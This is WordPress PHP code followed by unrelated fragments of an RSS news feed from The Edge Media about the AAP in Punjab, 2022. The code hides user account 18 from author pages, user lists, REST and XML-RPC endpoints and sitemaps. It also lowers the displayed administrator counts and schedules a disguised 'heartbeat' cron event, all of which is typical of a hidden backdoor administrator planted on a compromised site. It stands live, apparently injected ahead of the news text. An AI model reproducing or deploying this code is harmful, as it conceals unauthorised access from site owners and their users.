add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Arvind Kejriwal To Form Coalition of 130 Crore Indians appeared first on The Edge Media.
]]>Kejriwal, who is also the Aam Aadmi Party’s national convener, slammed the BJP of “playing gimmicks.” He further said that BJP leaders are “disappointed” with how the democratic platform is being used them to publicize The Kashmir Files.
The post Arvind Kejriwal To Form Coalition of 130 Crore Indians appeared first on The Edge Media.
]]>The post Ex-Cricketer, IIT Professor and More Nominated by AAP for Rajya Sabha, Punjab appeared first on The Edge Media.
]]>Meet AAP's 5 new Rajya Sabha MPs
1. Ashok Mittal
2. Harbhajan Singh
3. Raghav Chadha
4. Sandeep Pathak
5. Sanjeev Arora pic.twitter.com/wlRuemaajc— AAP (@AamAadmiParty) March 21, 2022
Even before elections, Harbhajan Singh visited former Punjab Congress head Navjot Singh Sidhu, fueling suspicion that he may run for Congress. However, the former cricketer has refuted the allegations.
The AAP won 92 of the 117 assembly seats in Punjab. The AAP’s upper house strength is expected to expand from three to eight after the Rajya Sabha election.
The post Ex-Cricketer, IIT Professor and More Nominated by AAP for Rajya Sabha, Punjab appeared first on The Edge Media.
]]>The post New Punjab CM Introduces Anti-Corruption Helpline, To Start From 23 March appeared first on The Edge Media.
]]>“My personal phone number will be used for the anti-corruption hotline… Send audio and video to that number if someone asks for a bribe,” he stated. The phone number will only be used by persons who want to submit films of corrupt authorities seeking bribes for their daily job or engaging in other illegal activities. He then stated that such officials will face severe punishment.
The post New Punjab CM Introduces Anti-Corruption Helpline, To Start From 23 March appeared first on The Edge Media.
]]>The post Bhagwant Mann Takes Oath As The New Chief Minister of Punjab appeared first on The Edge Media.
]]>AAP holds 92 seats in Punjab’s 117-seat legislature. Simultaneously, Congress won 18 seats, the Akali Dal three, and the BJP two. This time, the AAP ran on Bhagwant Mann’s behalf in the election. He was also a two-time Member of Parliament from Sangrur.
The post Bhagwant Mann Takes Oath As The New Chief Minister of Punjab appeared first on The Edge Media.
]]>